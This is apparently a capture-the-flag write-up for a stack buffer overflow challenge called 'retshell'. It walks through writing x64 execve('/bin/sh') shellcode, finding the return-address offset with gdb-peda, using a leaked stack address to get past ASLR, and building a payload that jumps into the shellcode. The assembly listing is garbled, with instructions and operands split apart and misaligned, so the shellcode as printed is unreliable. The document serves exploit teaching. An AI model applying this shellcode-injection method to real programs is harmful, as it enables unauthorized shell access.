retshell

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Writeup:

Step 1:

Write shellcode for sys_execve("/bin/sh").

Look up at linux system call table for x64:



%rax = 59(0x3b)

%rdi = *filename (address of /bin/sh)

%rsi = 0

%rdx = 0

Step 2:

Convert /bin/sh to

little endian hexdecimal: 0x68732f6e69622f move it to an clean register, and push it to stack.

Then we set %rax, %rsi, %rdx.

%rdi need to gets value from %rsp which involves the value we just push to stack

Last we call syscall to execute system call

```
xor
        r8, r8
mov
        r8,0x68732f6e69622f
        r8
push
       rax, rax
xor
       rax, 0x3b
       rdi, rdi
       rdi, rsp
mov
       rsi, rsi
xor
    rdx, rdx
xor
syscall
```

Step 3:

Use bufferoverflow to make the program execute our shellcode

```
gdb-peda$ info frame
Stack level 0, frame at 0x7fffffffe160:
    rip = 0x40071d in main; saved rip = 0x412d25414325416e
    called by frame at 0x7fffffffe168
    Arglist at 0x7fffffffe150, args:
    Locals at 0x7fffffffe150, Previous frame's sp is 0x7fffffffe160
    Saved registers:
    rbp at 0x7fffffffe150, rip at 0x7fffffffe158
    gdb-peda$ pattern offset 0x412d25414325416e
4696450948646912366 found at offset: 216
```

Step 4:

Due to ASLR we need to remember the buffer address receive from the program to use it as out

return address latter

For example: 0x7ffd42a12da0

We can get the value by addr = r.recv(14),

14=len(0x7ffd42a12da0)

Step 5:

Construct the payload

The shellcode we wrote should be placed at first since the return address is the start of our buffer. Thus the offset we get from gdb should subtract the length of shellcode.

Then add buffer address as the return address

Step 6:

Get the flag

```
$ cat flag
balqs{system_bin_sh?}
```